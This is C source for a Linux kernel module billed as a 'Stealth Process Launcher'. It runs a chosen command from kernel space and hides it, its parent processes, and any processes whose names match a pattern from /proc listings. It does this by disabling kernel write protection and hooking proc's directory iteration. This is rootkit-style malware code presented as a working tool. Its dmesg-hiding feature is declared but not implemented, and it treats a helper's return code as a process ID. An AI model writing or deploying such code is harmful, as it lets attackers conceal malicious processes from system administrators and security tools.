#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/fs.h>
#include <linux/version.h>
#include <linux/cred.h>
#include <linux/namei.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/dirent.h>
#include <linux/kprobes.h>
#include <linux/timer.h>
#include <linux/workqueue.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Researcher");
MODULE_DESCRIPTION("Stealth Process Launcher - Hides processes completely");
MODULE_VERSION("0.1");

/* Module parameters */
static char* target_cmd = NULL;
module_param(target_cmd, charp, 0644);
MODULE_PARM_DESC(target_cmd, "Command to run in stealth mode (e.g. \"sleep 120\")");

static char* hide_pattern = NULL;
module_param(hide_pattern, charp, 0644);
MODULE_PARM_DESC(hide_pattern, "String pattern to hide in process names (e.g. \"sleep\")");

/* Flags to enable features */
static int disable_dmesg = 1;
module_param(disable_dmesg, int, 0644);
MODULE_PARM_DESC(disable_dmesg, "Disable dmesg logging for hidden processes (1=enabled)");

static int hide_loader = 1;
module_param(hide_loader, int, 0644);
MODULE_PARM_DESC(hide_loader, "Hide the module loader and parent processes (1=enabled)");

static int auto_cleanup = 1;
module_param(auto_cleanup, int, 0644);
MODULE_PARM_DESC(auto_cleanup, "Automatically unload module when target process completes (1=enabled)");

/* Force unload param - set to 1 to force module unload */
static int force_unload = 0;
MODULE_PARM_DESC(force_unload, "Set to 1 to force module unload even if busy");

/* Data structures for hidden processes */
#define MAX_HIDDEN_PROCS 50
static pid_t hidden_pids[MAX_HIDDEN_PROCS];
static int num_hidden_pids = 0;
static DEFINE_SPINLOCK(hidden_pids_lock);

/* Variables for hiding from /proc */
static struct file_operations *proc_fops;
static filldir_t orig_proc_filldir;
static int (*orig_iterate_shared)(struct file *, struct dir_context *);
static struct path proc_path;

/* Variables for dmesg hiding */
static int (*orig_printk)(const char *fmt, ...);

/* Variables for auto-cleanup */
static pid_t target_pid = 0;
static struct timer_list cleanup_timer;
static struct workqueue_struct *cleanup_wq = NULL;
static struct work_struct cleanup_work;
static int module_exiting = 0;

/* Check if PID should be hidden */
static int is_pid_hidden(pid_t pid)
{
    int i, hidden = 0;
    
    spin_lock(&hidden_pids_lock);
    for (i = 0; i < num_hidden_pids; i++) {
        if (hidden_pids[i] == pid) {
            hidden = 1;
            break;
        }
    }
    spin_unlock(&hidden_pids_lock);
    
    return hidden;
}

/* Check if a process should be hidden based on its name */
static int should_hide_by_name(struct task_struct *task)
{
    if (!hide_pattern || !*hide_pattern)
        return 0;
    
    if (strstr(task->comm, hide_pattern))
        return 1;
        
    return 0;
}

/* Add a PID to the hidden list */
static int hide_pid(pid_t pid)
{
    int ret = -ENOSPC;
    
    spin_lock(&hidden_pids_lock);
    if (num_hidden_pids < MAX_HIDDEN_PROCS) {
        hidden_pids[num_hidden_pids++] = pid;
        ret = 0;
    }
    spin_unlock(&hidden_pids_lock);
    
    return ret;
}

/* Hide all processes in a chain starting from the given PID */
static void hide_process_family(pid_t pid)
{
    struct task_struct *task;
    struct task_struct *parent;
    
    task = pid_task(find_vpid(pid), PIDTYPE_PID);
    if (!task)
        return;
    
    hide_pid(pid);
    
    /* Hide parent processes if requested */
    if (hide_loader) {
        parent = task->parent;
        while (parent && parent->pid != 1) {  /* Stop at init */
            hide_pid(parent->pid);
            parent = parent->parent;
        }
    }
}

/* Find and hide processes by name pattern */
static void hide_processes_by_pattern(void)
{
    struct task_struct *task;
    
    if (!hide_pattern || !*hide_pattern)
        return;
    
    for_each_process(task) {
        if (should_hide_by_name(task)) {
            hide_pid(task->pid);
        }
    }
}

/* Check if a process is still running */
static int is_process_running(pid_t pid)
{
    struct task_struct *task;
    
    task = pid_task(find_vpid(pid), PIDTYPE_PID);
    return task != NULL;
}

/* Force release all resources to allow module unload */
static void force_release_resources(void)
{
    module_exiting = 1;
    
    /* Cancel timer if active */
    del_timer_sync(&cleanup_timer);
    
    /* Cancel and destroy workqueue */
    if (cleanup_wq) {
        cancel_work_sync(&cleanup_work);
        flush_workqueue(cleanup_wq);
        destroy_workqueue(cleanup_wq);
        cleanup_wq = NULL;
    }
    
    /* Unhook /proc operations */
    if (proc_fops && orig_iterate_shared) {
        write_cr0(read_cr0() & ~0x10000);
        proc_fops->iterate_shared = orig_iterate_shared;
        write_cr0(read_cr0() | 0x10000);
        
        /* Release path */
        path_put(&proc_path);
    }
    
    /* Release other resources as needed */
}

/* Check the force_unload parameter */
static int param_set_force_unload(const char *val, const struct kernel_param *kp)
{
    int ret;
    
    /* Standard handler for setting the parameter */
    ret = param_set_int(val, kp);
    if (ret)
        return ret;
    
    /* If force_unload is set to 1, initiate forced unload */
    if (force_unload) {
        force_release_resources();
        force_unload = 0; /* Reset to avoid repeated calls */
    }
    
    return 0;
}

/* Register custom parameter handler */
static const struct kernel_param_ops force_unload_ops = {
    .set = param_set_force_unload,
    .get = param_get_int,
};

module_param_cb(force_unload, &force_unload_ops, &force_unload, 0644);

/* Custom filldir function to filter directory entries */
static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
                        loff_t offset, u64 ino, unsigned int d_type)
{
    char *endp;
    long pid;
    
    /* Check if module is exiting */
    if (module_exiting)
        return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
    
    /* Check if this is a PID directory */
    pid = simple_strtol(name, &endp, 10);
    if ((*endp == '\0') && is_pid_hidden(pid)) {
        /* This is a hidden PID - skip it */
        return 0;
    }
    
    /* Not hidden, call original filldir */
    return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
}

/* Custom iterate_shared function to hook directory listing */
static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
{
    /* Check if module is exiting */
    if (module_exiting)
        return orig_iterate_shared(file, ctx);
    
    /* Replace filldir with our version */
    orig_proc_filldir = ctx->actor;
    ctx->actor = (filldir_t)proc_filldir;
    
    /* Call original handler */
    return orig_iterate_shared(file, ctx);
}

/* Hook the /proc directory */
static void hook_proc(void)
{
    /* Get the path to /proc */
    if (kern_path("/proc", 0, &proc_path)) {
        return;
    }
    
    /* Get operations table and save original */
    proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
    orig_iterate_shared = proc_fops->iterate_shared;
    
    /* Replace with our version */
    write_cr0(read_cr0() & ~0x10000); /* Disable write protection */
    proc_fops->iterate_shared = proc_iterate_shared;
    write_cr0(read_cr0() | 0x10000);  /* Re-enable write protection */
}

/* Unhook the /proc directory */
static void unhook_proc(void)
{
    if (proc_fops && orig_iterate_shared) {
        /* Restore original function */
        write_cr0(read_cr0() & ~0x10000);
        proc_fops->iterate_shared = orig_iterate_shared;
        write_cr0(read_cr0() | 0x10000);
    }
    
    /* Release path */
    path_put(&proc_path);
}

/* Safe string copy for kernel */
static char *safe_strncpy(char *dest, const char *src, size_t n)
{
    size_t i;
    
    if (!dest || !src || n <= 0)
        return dest;
        
    for (i = 0; i < n - 1 && src[i]; i++)
        dest[i] = src[i];
        
    dest[i] = '\0';
    return dest;
}

/* Cleanup work function - unloads the module */
static void cleanup_module_work(struct work_struct *work)
{
    if (!module_exiting)
        module_put(THIS_MODULE);
}

/* Timer function to check if target process has finished */
static void cleanup_timer_fn(struct timer_list *t)
{
    /* Skip if module is exiting */
    if (module_exiting)
        return;
    
    /* Check if the target process is still running */
    if (target_pid > 0 && !is_process_running(target_pid)) {
        /* Process has finished, schedule module unload */
        queue_work(cleanup_wq, &cleanup_work);
    } else {
        /* Process still running, check again in 1 second */
        mod_timer(&cleanup_timer, jiffies + HZ);
    }
}

/* Execute the target command and hide it */
static int launch_stealth_process(void)
{
    char *path = NULL;
    char *argv[32];
    char *envp[5];
    int argc = 0;
    char *cmd_copy, *token, *cmd_ptr;
    pid_t child_pid;
    
    if (!target_cmd || !*target_cmd) {
        return -EINVAL;
    }
    
    /* Make a copy of the command string */
    cmd_copy = kstrdup(target_cmd, GFP_KERNEL);
    if (!cmd_copy) {
        return -ENOMEM;
    }
    
    /* First, let's try to parse as a simple command (like "sleep 120") */
    cmd_ptr = cmd_copy;
    
    /* Get the path/command */
    token = strsep(&cmd_ptr, " \t");
    if (token) {
        path = token;
        argv[argc++] = path;
        
        /* Parse arguments */
        while ((token = strsep(&cmd_ptr, " \t")) != NULL && argc < 31) {
            if (*token != '\0') {
                argv[argc++] = token;
            }
        }
    }
    
    /* Null-terminate the argument list */
    argv[argc] = NULL;
    
    /* Set up environment */
    envp[0] = "HOME=/";
    envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
    envp[2] = "TERM=linux";
    envp[3] = NULL;
    
    /* If we couldn't parse a command, give up */
    if (!path) {
        kfree(cmd_copy);
        return -EINVAL;
    }
    
    /* Check if we need to use a shell */
    if (strchr(target_cmd, '\'') || strchr(target_cmd, '"') || 
        strchr(target_cmd, '|') || strchr(target_cmd, '>') || 
        strchr(target_cmd, '<') || strchr(target_cmd, '&')) {
        /* Complex command, use bash -c */
        kfree(cmd_copy);
        
        argv[0] = "/bin/bash";
        argv[1] = "-c";
        argv[2] = (char *)target_cmd;
        argv[3] = NULL;
        
        child_pid = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    } else {
        /* Simple command, use direct execution */
        child_pid = call_usermodehelper(path, argv, envp, UMH_WAIT_EXEC);
        kfree(cmd_copy);
    }
    
    /* Hide the process family if successful */
    if (child_pid > 0) {
        hide_process_family(child_pid);
        
        /* Store target PID for auto-cleanup */
        if (auto_cleanup) {
            target_pid = child_pid;
            
            /* Start cleanup timer */
            timer_setup(&cleanup_timer, cleanup_timer_fn, 0);
            mod_timer(&cleanup_timer, jiffies + HZ);
        }
    }
    
    return child_pid;
}

static int __init stealth_launcher_init(void)
{
    pid_t my_pid;
    
    /* Initialize module_exiting flag */
    module_exiting = 0;
    
    /* Hide this module's loader process */
    if (hide_loader) {
        my_pid = current->pid;
        hide_process_family(my_pid);
    }
    
    /* Hook /proc to hide processes */
    hook_proc();
    
    /* Hide any processes matching the pattern */
    hide_processes_by_pattern();
    
    /* Set up auto-cleanup workqueue */
    if (auto_cleanup) {
        cleanup_wq = create_singlethread_workqueue("cleanup_wq");
        if (!cleanup_wq) {
            auto_cleanup = 0;
        } else {
            INIT_WORK(&cleanup_work, cleanup_module_work);
            
            /* Ensure module cannot be unloaded while timer is running */
            try_module_get(THIS_MODULE);
        }
    }
    
    /* Launch the target process if specified */
    if (target_cmd && *target_cmd) {
        launch_stealth_process();
    }
    
    return 0;
}

static void __exit stealth_launcher_exit(void)
{
    /* Set exiting flag */
    module_exiting = 1;
    
    /* Cancel timer if active */
    del_timer_sync(&cleanup_timer);
    
    if (cleanup_wq) {
        /* Ensure all cleanup work is processed */
        cancel_work_sync(&cleanup_work);
        flush_workqueue(cleanup_wq);
        destroy_workqueue(cleanup_wq);
    }
    
    /* Unhook everything */
    unhook_proc();
}

module_init(stealth_launcher_init);
module_exit(stealth_launcher_exit);